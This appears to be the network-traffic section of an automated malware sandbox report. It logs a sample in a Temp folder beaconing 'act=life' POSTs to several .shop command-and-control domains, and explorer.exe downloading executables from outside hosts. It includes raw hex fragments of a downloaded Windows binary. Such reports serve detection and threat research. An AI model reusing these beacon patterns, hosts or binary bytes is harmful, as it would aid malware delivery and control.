                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 85263753699f4560-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:02 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:02 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              7192.168.2.549788172.67.152.524434140C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:02 UTC272OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: gemcreedarticulateod.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:02 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC812INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:03 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=bdbrqqo34d4103v6k64gnjhqgu; expires=Mon, 03-Jun-2024 13:04:41 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wzTjJ5R1HTxj5L7N%2BQwBe8jDEcaufuc5yXQ%2F3kC2xTfILvAwXrbpqQY5fg%2BvWUlsxytmfE3OD%2Fz0hmjMZsfBHJgln3907VdQgs5nFtDxQ0IxHsFfBKqUhZXJ%2B3j09TGkCJgUhxw6xIZbRrs8"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 8526375a5b751375-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              8192.168.2.54978946.175.144.564431028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC164OUTGET /111.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: mahta-netwotk.click
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC166INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:03 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: a2<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              9192.168.2.549790104.21.16.1524434140C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC275OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: secretionsuitcasenioise.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:03 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:04 UTC824INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:04 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=ssi7ghqpha0pqm50j8s6a75nta; expires=Mon, 03-Jun-2024 13:04:43 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=niGPLn5%2FnhJw54fJsirxTw5WLGBmRDsVOL8WHpu%2FJW%2FTHM8S0nu656VNZyjS5XV%2FxzmlL%2BEFJfVOBY7X3%2Fxqp3XkZGeuS5H%2B0Z3%2FvWdfucIzgbagdTAEhyeIlZFE1lkHrSRB%2Brb23VhaaMgPc6tu"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852637613c5353de-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:04 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:04 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              10192.168.2.549792172.67.199.1204434140C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:04 UTC271OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: claimconcessionrebe.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:04 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC814INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:05 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=09udeabpvf8po7329sv4ub13pm; expires=Mon, 03-Jun-2024 13:04:44 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TDtBL88o7o6ewx0KoCGVA6wv9NR7MkOb830VbkJ1X24mSVllo7D7F7OrWESOBniSG%2ByObjFfw4ny%2F7gE19lP2cW6Fw39JmMO%2FIyIptslkw9IKFpA%2BhkOO4O12sNHhW5nAFtncVXYoY%2FkktA%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852637680bf74533-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              11192.168.2.549793154.7.253.534431028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:04 UTC168OUTGET /Earco8.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: receitasdepascoa.com
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC261INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.24.0
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:04 GMT
                                                                                                                                                                                                                                                              Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                              Content-Length: 664576
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Last-Modified: Wed, 07 Feb 2024 14:51:19 GMT
                                                                                                                                                                                                                                                              ETag: "a2400-610cbd3dcf29f"
                                                                                                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16123INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 89 79 10 64 00 00 00 00 00 00 00 00 e0 00 03
                                                                                                                                                                                                                                                              Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELyd
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: 70 ff ff ff 01 0a c9 c3 0a c9 74 02 d9 e0 c3 c3 b8 fb 9e 40 00 a3 70 5d 49 00 c7 05 74 5d 49 00 e2 95 40 00 c7 05 78 5d 49 00 96 95 40 00 c7 05 7c 5d 49 00 cf 95 40 00 c7 05 80 5d 49 00 38 95 40 00 a3 84 5d 49 00 c7 05 88 5d 49 00 73 9e 40 00 c7 05 8c 5d 49 00 54 95 40 00 c7 05 90 5d 49 00 b6 94 40 00 c7 05 94 5d 49 00 43 94 40 00 c3 8b ff 55 8b ec e8 96 ff ff ff e8 0d 54 00 00 83 7d 08 00 a3 34 a2 49 00 74 05 e8 94 53 00 00 db e2 5d c3 cc cc d9 c0 d9 fc dc e1 d9 c9 d9 e0 d9 f0 d9 e8 de c1 d9 fd dd d9 c3 8b 54 24 04 81 e2 00 03 00 00 83 ca 7f 66 89 54 24 06 d9 6c 24 06 c3 a9 00 00 08 00 74 06 b8 07 00 00 00 c3 dc 05 70 fc 48 00 b8 01 00 00 00 c3 8b 42 04 25 00 00 f0 7f 3d 00 00 f0 7f 74 03 dd 02 c3 8b 42 04 83 ec 0a 0d 00 00 ff 7f 89 44 24 06 8b 42 04 8b
                                                                                                                                                                                                                                                              Data Ascii: pt@p]It]I@x]I@|]I@]I8@]I]Is@]IT@]I@]IC@UT}4ItS]T$fT$l$tpHB%=tBD$B
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: c1 8b c7 5f 5e 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 0f 84 81 01 00 00 ff 76 04 e8 81 de ff ff ff 76 08 e8 79 de ff ff ff 76 0c e8 71 de ff ff ff 76 10 e8 69 de ff ff ff 76 14 e8 61 de ff ff ff 76 18 e8 59 de ff ff ff 36 e8 52 de ff ff ff 76 20 e8 4a de ff ff ff 76 24 e8 42 de ff ff ff 76 28 e8 3a de ff ff ff 76 2c e8 32 de ff ff ff 76 30 e8 2a de ff ff ff 76 34 e8 22 de ff ff ff 76 1c e8 1a de ff ff ff 76 38 e8 12 de ff ff ff 76 3c e8 0a de ff ff 83 c4 40 ff 76 40 e8 ff dd ff ff ff 76 44 e8 f7 dd ff ff ff 76 48 e8 ef dd ff ff ff 76 4c e8 e7 dd ff ff ff 76 50 e8 df dd ff ff ff 76 54 e8 d7 dd ff ff ff 76 58 e8 cf dd ff ff ff 76 5c e8 c7 dd ff ff ff 76 60 e8 bf dd ff ff ff 76 64 e8 b7 dd ff ff ff 76 68 e8 af dd ff ff ff 76 6c e8 a7 dd ff ff ff 76 70 e8 9f
                                                                                                                                                                                                                                                              Data Ascii: _^]UVuvvyvqvivavY6Rv Jv$Bv(:v,2v0*v4"vv8v<@v@vDvHvLvPvTvXv\v`vdvhvlvp
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: 48 00 89 45 e4 3b c7 74 20 8b 43 fc 48 3b c6 72 02 8b c6 50 53 ff 75 e4 e8 48 a7 ff ff 53 ff 75 e0 e8 52 e9 ff ff 83 c4 14 c7 45 fc fe ff ff ff e8 2e 00 00 00 83 7d e0 00 75 31 85 f6 75 01 46 83 c6 0f 83 e6 f0 89 75 0c 56 53 6a 00 ff 35 f4 a8 49 00 ff 15 50 f1 48 00 8b f8 eb 12 8b 75 0c 8b 5d 08 6a 04 e8 5c ad ff ff 59 c3 8b 7d e4 85 ff 0f 85 bf 00 00 00 39 3d 04 ad 49 00 74 2c 56 e8 df b3 ff ff 59 85 c0 0f 85 d2 fe ff ff e8 da 9b ff ff 39 7d e0 75 6c 8b f0 ff 15 34 f0 48 00 50 e8 85 9b ff ff 59 89 06 eb 5f 85 ff 0f 85 83 00 00 00 e8 b5 9b ff ff 39 7d e0 74 68 c7 00 0c 00 00 00 eb 71 85 f6 75 01 46 56 53 6a 00 ff 35 f4 a8 49 00 ff 15 50 f1 48 00 8b f8 85 ff 75 56 39 05 04 ad 49 00 74 34 56 e8 76 b3 ff ff 59 85 c0 74 1f 83 fe e0 76 cd 56 e8 66 b3 ff ff 59
                                                                                                                                                                                                                                                              Data Ascii: HE;t CH;rPSuHSuRE.}u1uFuVSj5IPHu]j\Y}9=It,VY9}ul4HPY_9}thquFVSj5IPHuV9It4VvYtvVfY
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                              Data Ascii:
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: 60 f2 f3 13 d6 2f d7 d3 1e 08 87 cb 50 49 f4 e9 13 73 97 f8 0b 4b f1 84 b5 c4 8b bd 53 07 a0 4c 97 2c 9d f1 bc a5 4e af ff 87 e7 5e 2d c2 ff f3 e4 c6 af b7 da 97 bd 18 1b 33 f9 b3 a5 03 df d3 ce c3 88 f8 77 25 1c db 0e c6 d6 79 93 04 8d 38 e1 13 35 2d e0 72 f3 a3 e7 e2 ad df 60 b2 6f 55 bc bb 81 b8 10 dc af 7c ae 79 2c b4 58 db 68 c0 12 93 d1 f8 ab 08 a4 93 0c 65 c6 f6 e0 bb 36 c9 34 91 c7 3e 18 a2 e9 8f 4f 00 f7 4e 67 ba 04 de 8b db 90 6a c9 fa 6d 71 cc 72 e9 0b f4 13 e7 e9 51 3b 4b cd 3a f5 38 2b 02 7c a6 63 f0 85 83 cb bb a1 e0 e5 8f c9 a9 9d 79 74 67 d2 b3 a1 35 4b dc 48 33 4c 58 7c f2 4e 9e 12 12 76 61 a8 88 87 ff dd 7c ba 85 3c 7a 43 ac d1 39 bd 79 15 fe d2 56 ab cd 29 b7 8b 7a ee 52 3d 3d 03 6c e6 e9 58 cc e9 a9 9d ab f7 d6 86 93 19 34 f3 29 9d b3
                                                                                                                                                                                                                                                              Data Ascii: `/PIsKSL,N^-3w%y85-r`oU|y,Xhe64>ONgjmqrQ;K:8+|cytg5KH3LX|Nva|<zC9yV)zR==lX4)
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: 6f a1 d7 11 70 03 7f 1f fb ed 7e 1f ca 8a d2 4d 3f c4 7e c2 3b 3b 50 e9 98 de 3f 53 50 25 72 3b 28 ad f7 9f c0 2d 61 c3 60 b5 30 8c 5f a5 79 70 cf 9b 5e e1 b3 61 14 8f e7 40 50 3c 1b bb 99 d5 f4 6a 2e 42 ab 34 3a c3 96 50 29 2e b1 48 1c 2d 04 dd f4 06 f5 e4 04 e7 80 6d 92 6b 5c 72 51 fe 78 d2 48 6a 4f bf 86 4d cb 43 7e 48 74 08 86 d5 cf 0d bc 3b 52 54 c4 5d 8d ca fc 04 4f 66 02 d6 b5 20 95 a9 3b aa b4 e6 ab d0 e4 66 e2 b7 2f f7 b3 43 e3 21 e9 b1 af f9 13 12 ff d0 6c 80 f3 29 76 94 49 a0 68 74 63 12 96 50 49 c7 14 2e 76 f5 6e db a3 91 2a ae 53 1b 81 12 5b 23 9d c3 b9 53 81 e4 22 01 ea ad 17 ce de 7a 14 33 17 b0 24 a4 a4 32 4d a9 57 da 53 62 53 ae fe ba 48 f9 bf 0d f8 82 c6 1d e5 34 d7 33 38 49 7d 62 86 7a b4 b4 6d ed 99 89 dc 40 c4 77 6f f6 45 a0 d8 ab 3e
                                                                                                                                                                                                                                                              Data Ascii: op~M?~;;P?SP%r;(-a`0_yp^a@P<j.B4:P).H-mk\rQxHjOMC~Ht;RT]Of ;f/C!l)vIhtcPI.vn*S[#S"z3$2MWSbSH438I}bzm@woE>
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: 96 2a b8 b5 81 fa ad 71 33 10 5f eb b2 3f 15 c3 7e e0 c4 b5 ba 52 52 f6 b2 7f a5 81 35 1e 0d 8e 69 fd f1 d2 3d 7b 84 a9 16 cc 8f 29 10 d0 5c c8 5b 7e 5a 22 ae 16 d6 2b 6e aa 9a 73 10 bd dc de e6 bd 95 71 1e ee 1c ac 94 2f 02 df 60 01 13 07 12 40 c2 fd e7 12 82 4a 35 7e e5 33 ca 72 23 7b 78 07 90 df 38 c2 d0 0e da ec d2 d3 76 e9 99 e1 da 9d 46 0e bf 75 33 aa 29 ca 9b b6 4d a5 64 7e c6 0b ff 6e b6 2d bf 00 44 1c 63 92 92 c9 d8 5c 00 cc 88 b0 31 af d1 16 dd a5 a7 5d e5 42 c9 b0 02 e4 e5 3a 2b 3d dd a8 a8 59 34 cf 63 60 0a b4 44 50 8c 88 64 f6 5d 98 3d 34 3d 5d e2 04 fa 25 f3 cb 53 9a d1 62 e5 e2 28 9c f9 11 c2 00 84 db ef c7 ef 82 f1 f1 cb 10 27 e6 f5 8a 86 b9 c7 a9 60 c6 8a 77 f3 68 06 3f f2 69 90 d5 00 d2 5d 93 fd 78 db 15 08 e1 94 f7 5b 27 89 c7 c2 76 62
                                                                                                                                                                                                                                                              Data Ascii: *q3_?~RR5i={)\[~Z"+nsq/`@J5~3r#{x8vFu3)Md~n-Dc\1]B:+=Y4c`DPd]=4=]%Sb('`wh?i]x['vb
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: b8 ab 99 9b bd 28 5f a8 db c3 66 54 1c 23 02 65 c6 35 3b 97 25 5c 54 b9 ef d3 47 3a 36 3a be 2b be 80 f0 4c 7a 5a 13 a8 7a a6 12 13 3a 7b c5 d7 d7 01 b1 6b f4 11 2d 95 28 b7 07 9b df 2d e1 fe 9e f2 58 68 f3 31 52 03 4f 1c 93 c2 39 bd 48 f6 da 0b 10 b5 5a 24 5b 59 38 3b fe 86 8c 1a ee 82 c1 9c c2 ac f0 d0 31 ce 01 71 08 f9 0e 7e cc 0b 51 76 24 c6 33 ad 26 88 f1 2b 7d df bb ea 0e 4a 26 ed 53 37 fc b9 23 4c 60 4d 8e 35 09 24 4e 2c 21 71 eb 25 14 b1 16 2f 6d 01 31 67 a6 2c fb 79 b7 1f 5c ef 1c 75 69 3a 2c 6c 2f d0 e1 a1 64 84 d9 6b b3 94 9d 1e 57 44 cd 80 ba 39 2f bd 19 af 30 90 d0 d6 50 ad e5 fe 39 46 84 64 4d 5f f3 fd d3 be 82 0f 17 48 9a 2c a6 45 e2 96 ba 70 a9 9c b8 e4 3d 86 8c fa 69 5c 14 92 2b b1 4f 4a 8f f5 b6 29 2e cc 9b 46 a0 ee a6 1e f4 22 77 cb e2
                                                                                                                                                                                                                                                              Data Ascii: (_fT#e5;%\TG:6:+LzZz:{k-(-Xh1RO9HZ$[Y8;1q~Qv$3&+}J&S7#L`M5$N,!q%/m1g,y\ui:,l/dkWD9/0P9FdM_H,Ep=i\+OJ).F"w
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC16384INData Raw: 68 c6 52 b0 10 47 cb 32 81 47 aa 19 bd 9b d9 b4 63 82 3a 6a 28 16 46 6d 86 64 4e db e2 81 28 50 c6 35 74 e3 c9 ed 0f 3d 20 f9 b0 69 1c c9 96 09 f1 99 9f ee 1e fe 26 f9 85 f9 64 3a 1b 40 65 92 9d cb 77 91 32 e2 47 35 26 ac 14 67 99 5f 22 1f fc c5 c2 40 9a 03 cf cf 56 3f 4a 8e 08 29 ce 17 66 38 0a d3 23 2c 7b 34 74 b5 2b d3 99 20 76 3d 55 f0 26 29 b8 1a a7 74 a2 4d 4a fc 51 98 3c 84 b4 70 e2 a9 f0 3f 12 4e 7c 8c 42 e1 45 b8 aa 55 79 d5 02 01 3b 77 05 15 5c 87 56 01 91 28 c3 13 d2 8d f8 f4 ee 16 6a a8 4b 16 9c a4 17 d6 42 f9 81 97 2f e3 5a b9 2e 03 6c 51 85 25 e2 d0 46 e1 58 4a c6 22 00 ab e0 be e3 a3 27 90 50 6d 0c 4e 05 82 d4 b9 94 7c b8 29 ad a0 b6 73 08 ec ab fa 6d cf 9b ed f5 29 3e 22 c4 48 af ce 1b 90 5b 6e 5c 43 2f a8 01 15 4f f3 cc 3e 71 6c d0 e2 72
                                                                                                                                                                                                                                                              Data Ascii: hRG2Gc:j(FmdN(P5t= i&d:@ew2G5&g_"@V?J)f8#,{4t+ v=U&)tMJQ<p?N|BEUy;w\V(jKB/Z.lQ%FXJ"'PmN|)sm)>"H[n\C/O>qlr


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              12192.168.2.549794104.21.83.2204434140C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC274OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: liabilityarrangemenyit.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:05 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC559INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:05 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ulpcvnc3AVwjPQhdiW%2BHBelfSRFLa7zT3URxAWdsBqwhQoJDwFMs8E8MqAZHFw79d9NbJ3fF9ZoBfOcGybd0bmGfINv3o9SRbHUu9pttBxo0cTcFEksRno03iGh8Augj3cSwR1TtuOaLVPH42ik%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 8526376f4b497bc9-ATL
